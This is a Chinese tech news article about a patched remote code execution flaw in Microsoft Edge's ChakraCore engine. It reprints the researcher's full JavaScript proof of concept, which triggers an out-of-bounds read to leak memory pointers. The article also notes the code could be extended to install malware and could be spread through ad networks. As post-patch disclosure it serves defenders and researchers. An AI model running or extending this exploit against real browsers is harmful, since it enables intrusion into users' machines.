研究人员公布Microsoft Edge内核中远程代码执行漏洞

免费在线PDF转换器/编辑器、文档模板、思维导图,点击查看

微软本月发布的例行安全更新带来修复诸多已知安全漏洞,既然修复完毕那么漏洞的细节也逐渐被公开出来。

例如现在有研究人员公布Microsoft Edge内核中的远程代码执行漏洞,该漏洞危害较高因此用户因及时修复。

相同权限执行任意代码:

攻击者利用此漏洞可制作特定网页诱导用户访问,访问后攻击者即可以当前已登录用户的权限执行任意代码。

如果用户使用管理员权限登录Windows 10那么危害更大,拥有管理员权限攻击者可用来执行更多恶意操作。

在漏洞说明里微软将安全等级标记为严重,不过Windows Server 2016和Windows Server 2019影响较低。

研究人员举例称攻击者可以利用广告联盟将恶意代码投放给用户,进而获得相应权限在系统上执行恶意操作。

71行的概念验证代码:

鉴于漏洞已经修复因此研究人员也发布针对该漏洞的概念验证代码,此代码只会触发边界存储器读取泄露等。

不过研究人员也可以修改代码使之执行更多恶意操作,包括无需用户确认安装恶意软件或者读取写入数据等。

研究人员表示诱导用户访问特定攻击网站不算太容易,但借助那些审核比较宽松的广告联盟很容易做到这点。

因此研究人员建议那些开启延迟更新的用户最好也尽快安装安全更新,以免在不知不觉中遭到攻击者的入侵。

概念验证代码如下:(JavaScript)

// OOB read leak by bkth from phoenhex for ChakraCore, this will crash reading oob in edge
var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var scratch = new ArrayBuffer(0x100000);
var scratch_u8 = new Uint8Array(scratch);
var scratch_u32 = new Uint32Array(scratch);
var BASE = 0x100000000;
var shellcode = null;
function hex(x) {
return `0x${x.toString(16)}`
}
function bytes_to_u64(bytes) {
return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
+bytes[4]*0x100000000+bytes[5]*0x10000000000);
}
function i2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE;
return f64[0];
}
function f2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}
function valid_pointer(x) {
f64[0] = x;
if (u32[1] > 0 && u32[1] < 0x1000) {
return true;
}
return false
}
function opt(o, j) {
var a = new Float64Array(0x111112);
o = a;
o[0] = 1337;
var b = a.slice(0,20);
b[92] = 13;
for (var i = 0; i < a.length; ++i) {
b = a;
b[1] = 0x4141;
}
// Chakra failed to insert value compensation which cause the headSegmentsym to be reloaded
// but not the headSegmentLength sym, we therefore accessed the new buffer with the wrong length checked
return b[j];
}
function pwn() {
for (var i = 0; i < 300; i++) {
opt(24, 0x10);
}
for (var i = 0x10; i < 0x1000; ++i) {
let res = opt(24, i);
if (res != 0 && valid_pointer(res)) {
val = f2i(res);
print("Leaked at " + i + ": " + hex(val));
}
}
opt(24, 0x111111); // OOB
}
pwn();
本文来源 Github,由 山外的鸭子哥 整理编辑,其版权均为 Github 所有,文章内容系作者个人观点,不代表 蓝点网 对观点赞同或支持。如需转载,请注明文章来源。
扫码关注蓝点网微信公众号

发表评论